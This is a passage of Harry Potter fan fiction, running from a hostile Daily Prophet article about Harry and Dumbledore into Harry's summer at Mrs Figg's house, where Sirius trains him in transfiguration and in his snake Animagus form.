has an Invisibility Cloak, which would add another layer of intrigue regarding the &#8216;disappearance&#8217; of those two champions.</b></p>\n\n<p><b>The Minister of Magic Cornelius Fudge refused to answer questions regarding rumours that he had summoned a Dementor and that someone within the castle walls had received a Dementor&#8217;s Kiss that night.</b></p>\n\n<p><b>Fudge did have this to say regarding Cedric Diggory&#8217;s death.&nbsp; &#8220;The Triwizard Tournament has a long history of fatal accidents.&nbsp; Dumbledore had assured us that this year would be different, as they had supposedly taken great precautions to assure everyone&#8217;s safety.&nbsp; Since Cedric was the son of one of our Ministry&#8217;s officials, Amos Diggory, all of us at the Ministry of Magic have been hit hard.&nbsp; It is as if we all lost a family member.&#8221;</b></p>\n\n<p><b>In regards to You-Know-Who&#8217;s possible return, Fudge responded, &#8220;I&#8217;ve seen no evidence of that happening.&nbsp; Frankly, I think Dumbledore is being very irresponsible and is listening to the ravings of what appears to be a very disturbed young man who has his own suspicions about him.&nbsp; After all Potter can converse with snakes, he has episodes of unexplained convulsions as well as an unexplained disappearance in which he then returned holding a dead rival.&nbsp; The other two champions had been stunned in the maze.&nbsp; It seems that Dumbledore may be trying to cover up for a favoured student.&#8221;</b></p>\n\n<p><b>Others also cast questions regarding Potter&#8217;s reputation as being a hero.&nbsp; Narcissa Malfoy complained to this reporter that her son Draco and his classmates Gregory Goyle and Vincent Crabbe had been attacked by Harry Potter and his friends on their ride home on the Hogwarts Express.</b></p>\n\n<p><b>&#8220;My son was only going to extend his congratulations to Potter on winning the Triwizard Tournament when he was viciously attacked and left unconscious for hours in the hallway of the train.&nbsp; I became worried when he hadn&#8217;t disembarked from the train when all the other students had.&#8221;</b></p>\n\n<p><b>At this point, Mrs. Malfoy began to cry.&nbsp; &#8220;Imagine my shock when I found my son and his two friends sprawled out with footprints on them.&nbsp; All those boys had to be treated at St. Mungo&#8217;s for the jumble of hexes that were placed on them.&nbsp; I sincerely hope that Dumbledore will punish those responsible, but given his history with Potter &#8211; I&#8217;m not holding my breath.&#8221;</b></p>\n\n<p><b>Dumbledore has long been considered a controversial headmaster.&nbsp; In the past few years he has been criticized for hiring a werewolf and a half-giant to teach his students.&nbsp; It is also reported that he allowed Alastor &#8220;Mad-Eye&#8221; Moody to place students under the Imperius Curse as part of their Defence Against the Dark Arts lessons.</b></p>\n\n<p><b>Two years ago, Dumbledore was briefly removed by the school governors after four students had been attacked and petrified by something or someone within the castle. </b></p>\n\n<p><b>There was a fantastic story at the end of that year that Harry Potter and his friend Ronald Weasley were in a hidden chamber in the bowels of the castle and fought a thousand year old basilisk that supposedly was left there by Hogwarts co-founder Salazar Slytherin.&nbsp; </b></p>\n\n<p><b>There was no evidence to support Potter&#8217;s wild tale at that time, but it was enough to garner Dumbledore&#8217;s praise and four hundred house points, which assured the House Cup to Gryffindor House.&nbsp; (Note:&nbsp; Gryffindor was Dumbledore&#8217;s House also.)</b></p>\n\n<p><b>Another curious note regarding that episode is that renowned author Gilderoy Lockhart was injured in the company of Potter and Weasley.</b></p>\n\n<p><b>This famed hunter of werewolves, vampires and other dark creatures cannot verify anything of Potter&#8217;s supposed encounter with a basilisk as he is still an inpatient at St. Mungo&#8217;s with severe memory problems suffered that fateful night.&nbsp; </b></p>\n\n<p><b>The previous year there was the wildly reported story that Harry met You-Know-Who in another (!) secret chamber at Hogwarts and fought with him over a Philosopher&#8217;s Stone.&nbsp; According to this legend, the Defence Against the Dark Arts instructor, Professor Quirrell was possessed by Voldemort.&nbsp; </b></p>\n\n<p><b>This incident in the chamber caused the death of Professor Quirrell and for Dumbledore to lavish enough points on Gryffindor House to snatch the House Cup from Slytherin House for the first time in eight years.</b></p>\n\n<p><b>One should carefully weigh rumours of the Dark Lord&#8217;s reappearance with the sources of this information.&nbsp; Unfortunately, neither Headmaster Dumbledore nor Harry Potter could be reached for comment on this story.&nbsp; </b></p>\n\n<p><b>One other side note, our own reporter Rita Skeeter who had been covering the Triwizard Tournament and had been critical of Harry Potter is missing.&nbsp; She was last known to have been trying to cover the Third Task.&nbsp; Another disappearance linked to Potter, perhaps?&nbsp; Might his survival years ago against an attack by You-Know-Who have been a sign that Harry Potter is destined to become an even more powerful dark wizard?&nbsp; Only time will tell.</b></p>\n\n<p>Harry fell backwards on his bed.&nbsp; He wanted to scream with anger, but didn&#8217;t dare because he knew he&#8217;d wake up the Dursleys.&nbsp; There seemed to be an uneasy truce right now with his relatives.&nbsp; They were glad that he was now going to be spending his days out of the house and didn&#8217;t want to speak with him at all.&nbsp; If he woke them up&#8230;who knows what they would do to punish him.&nbsp; No, he&#8217;d just have to wait until the morning and talk it over with Sirius and Professor Figg.</p>\n\n<p>He dragged himself over to his desk and found a spare piece of parchment and wrote a note to Hermione.</p>\n\n<p><i></i></p>\n\n<p><i>Dear Hermione,</i></p>\n\n<p><i>Thank you for sending me that article even though it barely reflects reality.&nbsp; I&#8217;ll try not to let it bother me, but I&#8217;m sure that there&#8217;ll be lots of people believing that garbage.&nbsp; </i></p>\n\n<p><i>I&#8217;m glad you changed your mind about that &#8216;task.&#8217;&nbsp; I was really worried about what would happen if you hadn&#8217;t.&nbsp; </i></p>\n\n<p><i>Professor Dumbledore already arranged for me to get my books and supplies for next year.&nbsp; He thought it might pose a security risk for me to go to Diagon Alley this year.&nbsp; I&#8217;ll miss not shopping with you and Ron, but I&#8217;m already starting to read next year&#8217;s assignments.&nbsp; The first time I&#8217;ll ever be ahead of you academically.&nbsp; </i></p>\n\n<p><i>Athena seems like a good owl, you&#8217;ll enjoy having one.</i></p>\n\n<p><i>Here&#8217;s hoping you have a nice summer holiday.</i></p>\n\n<p><i>Harry </i></p>\n\n<p>With that he rolled up the parchment, attached it to Athena&#8217;s leg and sent her out the window.&nbsp; As he watched the form disappear into the night he began to wonder whether or not Voldemort would be happy or disgusted with the reports in <i>The Daily Prophet.</i>&nbsp; It seemed that Voldemort craved attention and fear.&nbsp; That article spent precious little space on Voldemort and lots of space about Dumbledore and Harry Potter.&nbsp; Was this going to raise awareness in the Wizarding World or just make them suspicious of those fighting against evil?&nbsp; Harry sighed, took off his glasses and went to bed.</p>\n\n<p>The next day Harry brought the article with him when he went to Professor Figg&#8217;s house.&nbsp; She looked grimly at the text and shook her head slightly.</p>\n\n<p>&#8220;There&#8217;s nothing we can do about this.&nbsp; If we attempt to get a retraction, they&#8217;ll only use this as a further excuse to twist the truth.&nbsp; I&#8217;m sorry, but I know how this publication works and there&#8217;s not much we can do about it.&#8221; </p>\n\n<p>Harry then told her about the <i>Witch Weekly</i> article that had made Hermione out to be toying with his and Viktor Krum&#8217;s affections and how it led to her being inundated with hate mail and howlers.&nbsp; Professor Figg frowned and then led Harry up the stairs to the bedroom with the surveillance equipment.</p>\n\n<p>&#8220;I hadn&#8217;t meant to show this to you Harry, but I don&#8217;t see any reason why not at this point.&nbsp; Do you see this monitor?&#8221; she pointed to the screen on the desk that Snowy was perched at.&nbsp; Harry nodded as he peered closely at the display.</p>\n\n<p>&#8220;This shows the neighbourhood for several blocks surrounding your aunt and uncle&#8217;s home.&nbsp; There are various charms and enchantments that detect magical activity and also repel other activity.&nbsp; On my house I have a charm that repels owls.&nbsp; Like I mentioned before, I find that owl post is far too unusual for a plain Muggle neighbourhood.&nbsp; Besides, your aunt was well aware of owl post due to your mother and I could not risk her ever seeing an owl here and realizing that I was a witch.&#8221;</p>\n\n<p>Professor Figg then pointed at the centre of the map and Harry realized it was Number 4 Privet Drive.&nbsp; </p>\n\n<p>&#8220;On the roof of your house is also an owl repellent charm.&nbsp; I had that in place and active until I knew you&#8217;d get the acceptance letter from Hogwarts.&nbsp; Until then I didn&#8217;t want anyone sending you letters, greetings or fan mail.&nbsp; So any owl posts would have been returned to sender.&nbsp; I can reactivate that charm for you, temporarily if you&#8217;d like.&nbsp; At least until the furor of the article wears off in a week or two,&#8221; she suggested.</p>\n\n<p>Harry thought about the undiluted bubotuber pus that Hermione received in one letter and then he thought of how his aunt would react to Howlers.&nbsp; </p>\n\n<p>&#8220;Maybe that would be best.&nbsp; But what will happen to my owl, Hedwig?&#8221; he asked.</p>\n\n<p>&#8220;Well, I think you should send word to your friends that they won&#8217;t be able to contact you by owl post until your birthday because of security concerns.&nbsp; All mail will be returned to sender.&nbsp; I&#8217;m sure that Hermione will understand completely.&nbsp; You might want to remind Ron of the letters that she received and then I&#8217;m sure he&#8217;ll understand it, too.&nbsp; You should also have Hedwig stay at either one of their houses until your birthday.&nbsp; Then we&#8217;ll try lifting the measure for a day or so and see how things work out.&nbsp; Maybe you should go home, write a quick note to Ron and send Hedwig away.&nbsp; You can tell your aunt you forgot something in your room.&nbsp; By the time you return I&#8217;ll have reactivated the charm and you won&#8217;t have to worry about receiving any mail today.&#8221;</p>\n\n<p>Harry looked at the monitor with amazement.&nbsp; &#8220;This is really cool.&nbsp; I haven&#8217;t seen anything like this at Hogwarts.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; she said being very pleased.&nbsp; &#8220;I&#8217;ve been working on these security measures over the years and it really improved after I took an electronics course a few years ago at the local college.&nbsp; I thought I could use a mixture of magical and Muggle technology to create the most powerful security field on your behalf.&#8221;</p>\n\n<p>&#8220;Mr. Weasley would be very impressed.&#8221;</p>\n\n<p>&#8220;Yes, I&#8217;m sure he would be.&nbsp; But he&#8217;s not going to see anything about this place until after this detail is no longer necessary, then I&#8217;ll show him everything.&nbsp; I don&#8217;t want him grousing about Muggle protection acts.&nbsp; I hide everything magical in my house so that none of my neighbours will detect anything untoward and I don&#8217;t want anyone knowing my business in the magical world.&nbsp; It&#8217;s funny, your godfather thinks this is a little too high tech.&nbsp; He keeps talking about making an enchanted parchment to perform the same duties.&#8221;&nbsp; She looked at her watch, &#8220;You might want to get going back to your house and send that letter.&nbsp; Otherwise your aunt might soon be pelted with Howlers.&#8221;</p>\n\n<p>That got Harry moving quickly.&nbsp; He took the steps downstairs three at a time.&nbsp; </p>\n\n<p>That got Harry moving quickly.&nbsp; He took the steps downstairs three at a time.&nbsp; When he got to the living room he found a spare piece of parchment and scribbled a quick note to Ron telling him about the temporary ban on owl posts at his house and to please notify Hermione and have Hedwig stay at either of their houses until she could return at his birthday.&nbsp; He addressed the outside of the scroll and ran quickly back home to Privet Drive.&nbsp; His aunt was startled to see Harry come in the door.</p>\n\n<p>&#8220;I forgot something, Aunt Petunia!&#8221; as he bounded up the stairs to his room.&nbsp; He noticed that there were three owls already beating their wings outside his window.&nbsp; He walked over to Hedwig&#8217;s cage and opened it.&nbsp; &#8220;Hedwig, I&#8217;ve got a letter for you to take to Ron Weasley.&nbsp; See those owls?&nbsp; There&#8217;s bound to be more coming and I need to make them stop for a little while.&nbsp; So please stay with either the Weasleys or at Hermione Granger&#8217;s house for a few weeks.&nbsp; One of them will send you back here at my birthday, but until then&#8230;you&#8217;ll have to stay away.&#8221;</p>\n\n<p>Harry stroked her feathers and gave her some owl treats.&nbsp; &#8220;I&#8217;m sorry about this, but that&#8217;s the way it has to be.&#8221;</p>\n\n<p>She softly hooted and extended her leg for Harry to tie the letter to it.&nbsp; He then raised the window and Hedwig hissed at the other owls that were fighting to get in.&nbsp; They hovered in midair and then made room for her to leave.&nbsp; After Hedwig flew away the three flew into the room and dropped their letters at Harry&#8217;s feet and took off.&nbsp; He looked and said a few silent thanks that none of those were Howlers.&nbsp; He snatched them up and closed his window, locking it.&nbsp; Then he ran down the stairs and out the front door trying to ignore his aunt&#8217;s scowling face as he ran past.&nbsp; </p>\n\n<p>As he ran back to Professor Figg&#8217;s house he saw a flock of owls flying towards his house, but suddenly they turned around and flew back in the direction that they had come from.&nbsp;&nbsp; Harry was out of breath when he opened the door to her house.&nbsp; Sirius was trying to stifle a smile when Harry collapsed in a chair panting. </p>\n\n<p>&#8220;I see you&#8217;ve gotten some fan mail.&nbsp; Did you read it yet?&#8221;</p>\n\n<p>Harry shook his head, still gasping for breath.</p>\n\n<p>&#8220;Let me see them,&#8221; as Sirius reached for the pieces of parchment held in Harry&#8217;s hands.&nbsp; Sirius scanned them and frowned, &#8220;Well, it&#8217;s what we expected.&nbsp; <i>The Daily Prophet</i> is using you and Professor Dumbledore as a means to sell papers and create a scandal.&nbsp; Too bad they didn&#8217;t get to the real story, but that&#8217;s not what they&#8217;re interested in.&nbsp; It&#8217;s a shame that the only daily wizarding paper is a scandal mongering rag.&nbsp; The only upside is that they regularly attack the Ministry of Magic for its incompetence, but now when the Wizarding World could truly need informing about Voldemort&#8217;s return they get a load of crap instead.&#8221;</p>\n\n<p>Sirius crumpled up the letters, &#8220;You don&#8217;t want to see them Harry.&nbsp; There&#8217;s no truth or reason behind them.&nbsp; I don&#8217;t want you to even think about this for awhile, there&#8217;s far more important work to be done.&#8221;</p>\n\n<p>By this time Harry had caught his breath and he nodded to Sirius.&nbsp; &#8220;So, what&#8217;s my first lesson?&nbsp; I did bring my wand.&#8221;</p>\n\n<p>Professor Figg walked in the room and placed some rolls of parchment on an end table and then showed him a magazine opened to a page with a brightly coloured wall on it.</p>\n\n<p>&#8220;I want you to transfigure these rolls of parchment into wallpaper with this pattern on it.&nbsp; How good are you in Transfiguration?&#8221;</p>\n\n<p>&#8220;I&#8217;m okay, I guess,&#8221; he said sheepishly.</p>\n\n<p>&#8220;Just okay?&#8221; she said arching one eyebrow.&nbsp; &#8220;I suppose that means that after trying for about ten or twenty minutes or so that you eventually can get something transfigured.&nbsp; That&#8217;s just not good enough for you Harry.&nbsp; You need to be able to transfigure something quickly or don&#8217;t even bother.&#8221;</p>\n\n<p>Harry&#8217;s stomach sank.&nbsp; He knew that he was required to take Transfiguration and now Professor Figg was telling him he should give it up.</p>\n\n<p>Professor Figg&#8217;s tone softened with him, &#8220;I love Minerva.&nbsp; She&#8217;s my aunt, but I&#8217;m afraid her method of teaching is not what it should be.&#8221;</p>\n\n<p>Harry was startled at that.</p>\n\n<p>&#8220;I heard that Remus worked with you and helped you to be able to conjure a Patronus in your third year.&nbsp; Harry, you&#8217;re a powerful wizard and I wish that Minerva would recognize that students need to learn to become accomplished with something small and then you&#8217;ll be able to transfer that technique to larger objects.&nbsp; Instead of working individually with students she lectures and hopes at least for some level of competence but not proficiency.&nbsp; Tell me, what have you learned to transfigure?&#8221;</p>\n\n<p>&#8220;Well, we learned to transfigure hedgehogs into pin cushions last year.&#8221;</p>\n\n<p>&#8220;Ah yes, the ever present dilemma of what to do with rampaging hedgehogs.&nbsp; Something that&#8217;s kept me awake many a night,&#8221; she said dryly.</p>\n\n<p>Harry tried hard to suppress a smile at that, but couldn&#8217;t quite manage it.</p>\n\n<p>Professor Figg shook her head.&nbsp; &#8220;You need defensive skills Harry.&nbsp; Turning bunnies into slippers is useless for you.&nbsp; What good would it do for you to pelt a Death Eater with slippers?&nbsp; We need to concentrate on objects you could use to defend yourself with.&#8221;</p>\n\n<p>She then walked over to a cupboard and brought back a box of wooden matches.&nbsp; &#8220;I think after four years of lessons you should be able to transfigure this box of matches into needles in the blink of an eye.&nbsp; Do you think you can do that?&#8221;</p>\n\n<p>Harry breathed a heavy sigh and slowly shook his head.</p>\n\n<p>&#8220;Well then let&#8217;s start with the matchstick to needle &#8211; your first lesson four years ago.&nbsp; I want to see you concentrate and get it transfigured by the time I can snap my fingers.&#8221;</p>\n\n<p>Professor Figg and Sirius helped Harry work on focusing his mind and energy on this task for the rest of the day.&nbsp; By the time it was over he could make an entire box of matches into needles and back again in the blink of an eye.</p>\n\n<p>&#8220;Excellent work, Harry.&nbsp; Tomorrow we shall work on the parchment to wallpaper.&nbsp; Let&#8217;s break for dinner,&#8221; said Professor Figg.</p>\n\n<p>Harry was feeling much better about himself and a subject that he had only had a passing interest in before.&nbsp; The summer was turning out much better than he had hoped.&nbsp; Harry knew that they listened to the WWN to get the <i>Daily Prophet</i> news in the morning before he came over, but they didn&#8217;t share with him any more of its coverage.&nbsp; His attitude improved by not knowing what lies were being told about him.&nbsp; And working closely with Sirius helped settle his nerves so that he soon had some nights that were dreamless and he was able to actually get a good night&#8217;s sleep.</p>\n\n<p>For the next two weeks Harry helped by stripping the walls of old wallpaper, transfiguring rolls of parchment into the new pattern, and hanging the new wallpaper.&nbsp; The house was looking much nicer, lighter, and brighter.&nbsp; It seemed that Professor Figg had picked up a few decorating tips over the years reading Muggle home fashion magazines and decided that now was the time to spruce things up.&nbsp; Harry was beginning to feel very confident in transfiguring now with all the tutoring and practice he had gotten.&nbsp; </p>\n\n<p>One morning after he had finished a large breakfast with Sirius and Professor Figg they broached an important subject with Harry.</p>\n\n<p>&#8220;Have you ever thought about wanting to become an Animagus?&#8221; Sirius asked.</p>\n\n<p>Harry looked up at him with a startled look on his face.&nbsp; It slowly changed into a smile and he nodded.</p>\n\n<p>&#8220;I thought you might have,&#8221; said Sirius.&nbsp; &#8220;It&#8217;s not easy, but I think you&#8217;ll be able to do it far quicker than your father and I did.&nbsp; We had to do all the research ourselves and experiment without any guidance.&nbsp; It took us three years, but we did it.&nbsp; Harry, I don&#8217;t think you&#8217;ll have any trouble doing this in record time.&nbsp; The only problem you may have is&#8230;you might not like the animal you become.&#8221;</p>\n\n<p>&#8220;Why do you say that?&#8221; he asked perplexed.</p>\n\n<p>&#8220;You don&#8217;t get to choose the animal you want to become,&#8221; Sirius answered simply.&nbsp; &#8220;The soul of an animal is inside you.&nbsp; The trick is to figure out what it is and then concentrate fully on becoming it.&#8221;</p>\n\n<p>Harry felt very confused.&nbsp; &#8220;How do I have a soul of an animal inside me?&#8221; he asked.</p>\n\n<p>Professor Figg then chimed in, &#8220;In carving a piece of wood or stone, it&#8217;s been said that the carver doesn&#8217;t choose what to carve.&nbsp; Instead he will release the spirit that is trapped inside.&nbsp; It&#8217;s an old magic that is recognized worldwide.&#8221;</p>\n\n<p>&#8220;So I have to find out what animal is inside me?&#8221; Harry asked.</p>\n\n<p>&#8220;Yes,&#8221; Sirius nodded.&nbsp; &#8220;Except that we think that we may know what animal it is.&nbsp; If we&#8217;re right it will make it easier, but you may not like it.&#8221;</p>\n\n<p>&#8220;What is it?&#8221; Harry asked with dread in his voice.</p>\n\n<p>&#8220;A snake,&#8221; Sirius replied.&nbsp; </p>\n\n<p>&#8220;A snake?&nbsp;&nbsp; Why do you say that?&#8221; Harry asked quickly.</p>\n\n<p>Sirius and Professor Figg exchanged looks.</p>\n\n<p>&#8220;Because you can speak Parseltongue,&#8221; Professor Figg answered.&nbsp; &#8220;I am a registered Animagus and can change into a cat.&nbsp; Therefore, I can speak with cats and Kneazles.&nbsp; Sirius can communicate with dogs and to a lesser degree with cats.&nbsp; Because you can speak with snakes &#8211; we think that should you decide on becoming an Animagus &#8211; that you would probably turn into a snake.&#8221;</p>\n\n<p>Harry sighed heavily.&nbsp; He hated the association with snakes because it linked him with Voldemort and Salazar Slytherin.&nbsp; It also seemed that snakes were regarded with suspicion by the Wizarding World as a whole.&nbsp; But maybe, he thought, it might prove to be helpful sometime in escaping when his human form might be endangered.</p>\n\n<p>&#8220;Think about it Harry,&#8221; Sirius said patting him on the shoulder.&nbsp; &#8220;You don&#8217;t have to decide today, but I will tell you that having the ability to assume an animal&#8217;s shape has been very helpful for me.&nbsp; Arabella has also used that to her great advantage, too.&nbsp; You just never know when that skill might come in handy.&#8221;</p>\n\n<p>&#8220;Last year in school, Professor Moody, er -- I mean Crouch, Jr. who was posing as Moody &#8211; turned Draco Malfoy into a ferret,&#8221; Harry stammered.</p>\n\n<p>&#8220;A ferret?&#8221; Sirius snickered.</p>\n\n<p>&#8220;Yeah, a pure white ferret and then he started to bounce Malfoy on the floor.&nbsp; It was really funny and amazing.&nbsp; He did it when Malfoy had tried to hex me in the hallway while my back was turned.&nbsp; Professor McGonagall was furious with Moody, er &#8211; Crouch.&nbsp; So maybe Malfoy would be a ferret if he became an Animagus.&nbsp;&nbsp; It seems like it would suit him,&#8221; Harry mused.</p>\n\n<p>&#8220;You may be on to something.&nbsp; I should have realized that Pettigrew wasn&#8217;t trustworthy when his inner animal was a rat,&#8221; Sirius muttered darkly.</p>\n\n<p>&#8220;A ferret?&nbsp; I would have thought he would have become a dragon because of his name,&#8221; said Professor Figg.</p>\n\n<p>&#8220;Yes, but maybe his parents misnamed him and disregarded his inner essence,&#8221; Sirius replied.</p>\n\n<p>&#8220;If you were to try and transfigure me into an animal, would it automatically choose my inner animal or would it be dependent upon the animal you had in mind?&#8221; Harry asked.</p>\n\n<p>Sirius and Professor Figg looked at each other.&nbsp; </p>\n\n<p>&#8220;That&#8217;s a good question,&#8221; they answered in unison.</p>\n\n<p>Sirius started nodding his head slowly, &#8220;I know you can forcibly transfigure someone into an animal of your choosing, but if I were to try and tap into your inner spirit&#8230;it might speed things up considerably.&nbsp; If you knew what kind of animal or what kind of <i>snake</i> you might become, then you would know how it feels being that animal first and then you could work towards doing it to yourself.&#8221;</p>\n\n<p>&#8220;I think that Sirius and I should discuss this idea before we do any transfigurations on you,&#8221; interjected Professor Figg.&nbsp; &#8220;There might be some side-effects that we should take into consideration.&nbsp; Let us think about that for a day or two.&nbsp; In the meantime, you could at least start on your first Animagus lesson.&nbsp; You&#8217;ll need to concentrate on listening and recognizing your inner animal soul.&#8221;</p>\n\n<p>Harry sat and listened to both of them as they discussed how their cat and dog selves would reflect themselves in their human form.&nbsp; He sat with his eyes closed and tried to concentrate like they had instructed him.&nbsp; He became a bit baffled and try as he might he couldn&#8217;t think of any snake-like tendencies, except of course being able to converse with them.&nbsp; Then Harry started to think of how he liked taking naps in the sun, even though he seldom had the chance to do so.&nbsp; How for years he had slept in a dark confined space of the cupboard under the stairs similar to a snake&#8217;s lair.&nbsp; He found growing up that in order to get any nourishment at all that he had to eat his food very fast before Dudley would snatch the food away.&nbsp; This meant that sometimes Harry felt like he was almost swallowing his food whole.</p>\n\n<p>After a full morning of meditating on his inner snake, Harry was glad to spend the afternoon working on the various essays that had been assigned by his instructors over the summer holidays.&nbsp; He had developed the routine of transfiguration exercises in the morning and studying in the afternoon.&nbsp; The prospect of Animagus training was exciting, but made Harry a little apprehensive at the same time.&nbsp; What would the wizarding community think if word got out that he could transform into a snake?&nbsp; Would they all just assume he was an Evil Dark Wizard?&nbsp; Just what headlines would there be in the <i>Daily Prophet</i>?&nbsp; If he ever truly did become an Animagus and he became a snake, Harry knew that he would have to follow in his father&#8217;s footsteps and never register with the Ministry as it would make too many people suspicious of him.</p>\n\n<p>Harry had wondered if Sirius and Professor Figg would follow his suggestion to transfigure him or if they had rejected the idea.&nbsp; After a week of his snake meditations, Sirius announced that today Harry would indeed be changed into a snake.</p>\n\n<p>&#8220;Harry, I want you to be aware that your thought processes will be different in your animal form.&nbsp; I don&#8217;t want you to panic and bite anyone, because there&#8217;s a good chance you&#8217;ll be venomous.&nbsp; If you start feeling like you need to change back, please give me a sign.&#8221;</p>\n\n<p>&#8220;What kind of signal do you think I could give you?&nbsp; I can&#8217;t just write H-E-L-P with a paw?&#8221; Harry said flustered.</p>\n\n<p>Sirius pondered that for a moment and then brought out a catnip mouse.</p>\n\n<p>&#8220;If you need to transform back, just go up and bite this mouse.&nbsp; Don&#8217;t swallow it, just bite it.&#8221;</p>\n\n<p>Harry gave him a look like &#8211; why would I consider swallowing a cat toy?</p>\n\n<p>&#8220;Are you ready?&#8221; asked Sirius.</p>\n\n<p>Harry nodded and then Sirius raised his wand and a bolt of blue-white light shot out of it.&nbsp; Harry felt a shock course through his body and then he felt himself falling to the ground and his arms and legs were frozen tightly to his body.&nbsp; His head started shrinking and then he felt his body slam into the floor.&nbsp; He looked around and saw under the furniture.&nbsp; His tongue started to flicker and when it left his mouth he sensed the pungent smells of Professor Figg&#8217;s house.&nbsp; It had a strong odor of multiple cats, dried herbs and various potions that were made in the root cellar. </p>\n\n<p>Harry tried to move and found it difficult.&nbsp; He had to think and visualize how snakes moved forward in a sine wave like motion.&nbsp; He forced himself forward and once he started moving he found it easier to do so.&nbsp; He started to explore the ground floor of Professor Figg&#8217;s house by roaming over the floorboards.&nbsp; He found that going over the tile and hardwood floors were fine, but trying to move over her various area rugs were difficult.&nbsp; He soon avoided going over those.</p>\n\n<p>Harry had slithered past Sirius and Professor Figg several times, but he had trouble seeing their faces, let alone the looks on their faces.&nbsp; He also instinctively knew that they were speaking, but Harry had difficulty hearing anything.&nbsp; It all just sounded like muffled noises.</p>\n\n<p>Harry then saw Sirius kneeling on the floor and holding the catnip mouse.&nbsp; He wasn&#8217;t sure what his godfather wanted, but he slithered over next to him.&nbsp; Then he felt like he was being electrocuted.&nbsp; The shock coursed through his entire body and he felt like his head was spinning out of control.&nbsp; When the feeling subsided he realized that he was lying face down on the kitchen floor.&nbsp; He started to shake uncontrollably as if he had a bad case of the chills.&nbsp; Professor Figg soon wrapped an afghan over his shoulders and started rubbing his arms vigorously.</p>\n\n<p>&#8220;Sirius, put a kettle on.&nbsp; The poor boy is freezing.&#8221;</p>\n\n<p>Harry&#8217;s teeth were chattering and only after he sat down on the sofa covered up in two blankets and holding his second cup of hot tea in his hands did he begin to feel warm.</p>\n\n<p>&#8220;We certainly didn&#8217;t expect that reaction from you, Harry.&nbsp; But then again, neither of us has ever turned into a reptile,&#8221; she said in a comforting voice.&nbsp; &#8220;Can you tell us how it felt?&#8221;</p>\n\n<p>Harry looked up at her and shook his head.</p>\n\n<p>&#8220;I&#8217;m still trying to piece it all together myself.&nbsp; Tell me, what did I look like?&#8221;</p>\n\n<p>Professor Figg poured him another cup of tea and then sat down beside him.</p>\n\n<p>&#8220;You were a very large snake.&nbsp; It&#8217;s hard to know exactly how long because you kept moving, but I&#8217;d say you were close to a metre in length.&nbsp; I think you could probably swallow a rabbit or small cat if you could catch them.&#8221;</p>\n\n<p>&#8220;But why would I want to do that?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, last year I used my Animagus form to catch and eat rats,&#8221; replied Sirius who was standing before the fireplace.&nbsp; &#8220;You just never know when your animal form and its attributes will become helpful.&#8221;</p>\n\n<p>&#8220;You also had dark brown and tan diamond patterns on your back and had bright green eyes.&nbsp; It&#8217;ll be your eyes that&#8217;ll give you away as not being an ordinary snake.&nbsp; I&#8217;m going to have to be certain that all my sentries are at a safe distance from you when you take that form again.&nbsp; I could tell them its you, but I think they&#8217;d still get a bit antsy.&#8221;</p>\n\n<p>&#8220;I couldn&#8217;t hear anything &#8211; or at least understand anything.&nbsp; It was all fuzzy and muffled.&#8221;</p>\n\n<p>&#8220;Well, yes.&nbsp; Snakes don&#8217;t have ears.&nbsp; With training you&#8217;ll be able to maintain your own hearing and vision, but that comes with time and practice.&nbsp; Tell me how was your sense of smell?&#8221; she asked.</p>\n\n<p>&#8220;Pretty powerful.&nbsp; I found smells coming from your root cellar overwhelming at times.&#8221;</p>\n\n<p>&#8220;Well, I was brewing up some more aging potion last night after you left.&nbsp; It should be ready in a few days,&#8221; she said sheepishly.&nbsp; &#8220;How are you feeling?&nbsp; You look exhausted.&#8221;</p>\n\n<p>&#8220;I am.&nbsp; Famished, too.&#8221;</p>\n\n<p>&#8220;Well let me heat up some of the chicken and dumplings left from last night&#8217;s dinner and then I want you to rest.&nbsp; You can use my bed and feel free to sleep as long as you need,&#8221; she said kindly.</p>\n\n<p>Later as Harry was drifting in and out of consciousness he heard Professor Figg and Sirius speaking in hushed tones.</p>\n\n<p>&#8220;Perhaps we&#8217;re pushing him too hard.&nbsp; Just look at the poor boy.&nbsp; He&#8217;s completely worn out and this is only the beginning.&#8221;</p>\n\n<p>&#8220;He&#8217;s strong Arabella.&nbsp; Very strong.&nbsp; We just need to give him some time.&nbsp; He will succeed at this, I have no doubt.&#8221;</p>\n\n<p>Harry wanted to scream out, &#8220;I don&#8217;t want to be a snake!&#8221; to the shadows that were encircling him, but he heard the high cackled laughter of Voldemort.&nbsp; Nagini was then chasing Harry in his Animagus form.&nbsp; Nagini was gaining on him and he was afraid that he&#8217;d be swallowed by the gigantic serpent.&nbsp; He was writhing around the ground between the tombstones and the only thing saving him was that he was faster and more agile than the lumbering snake.&nbsp; Harry woke up drenched in a cold sweat and seeing that it was eight o&#8217;clock at night.&nbsp; He sat up and felt his head spin.&nbsp; </p>\n\n<p>&#8220;You&#8217;re awake.&nbsp; I thought I heard you rustling in here.&nbsp; How are you feeling,&#8221; Sirius asked.</p>\n\n<p>&#8220;Really groggy.&nbsp; I think I&#8217;ve got to get going home or my aunt&#8217;s going to worry.&#8221;&nbsp; </p>\n\n<p>&#8220;I doubt she&#8217;ll worry, but she&#8217;ll certainly begin to wonder.&nbsp; Why don&#8217;t you come into the kitchen and you can have some food that we&#8217;ve been keeping warm for you.&nbsp; </p>\n\n<p>Arabella will call and come up with some excuse as to why you&#8217;ve stayed here so long.&nbsp; Then I&#8217;ll walk you home to make sure you get there safely.&#8221;</p>\n\n<p>Harry nodded and stumbled into the kitchen.&nbsp; He had a hard time remembering what happened the rest of the night.&nbsp; It seemed to be a blur of images and his dreams were vivid serpentine fantasies.&nbsp; </p>\n\n<p>Sirius and Professor Figg decided to give Harry a break from Animagus training for a few days.&nbsp; Professor Figg brewed some pepper-up potion that was normally used to help ward off the common cold by warming your blood.&nbsp; She gave some of this to Harry before Sirius transformed him into a snake.&nbsp; She hoped it would warm his blood enough to avoid the severe reaction he had experienced in changing so rapidly from warm to cold blooded.</p>\n\n<p>It did seem to help him adjust and he was able to maintain his snake form for longer and longer periods without any adverse reaction when he resumed his human state.&nbsp; Harry started to visualize how he could turn himself into a snake and was able within a week to get his legs to lock together and get a faint glistening of scales to form on his calves.</p>\n\n<p>*</p>\n\n<p>Harry had slipped into a comfortable routine with the Dursleys.&nbsp; He woke up in the morning, took his shower, got dressed and headed for Professor Figg&#8217;s house and returned to the Dursleys&#8217;s house after dinner.&nbsp; He would head straight for his bedroom where he would read over his course schedule and plan out what he needed to cover the next day.&nbsp; He hadn&#8217;t seen or talked with the Dursleys in weeks.&nbsp; This 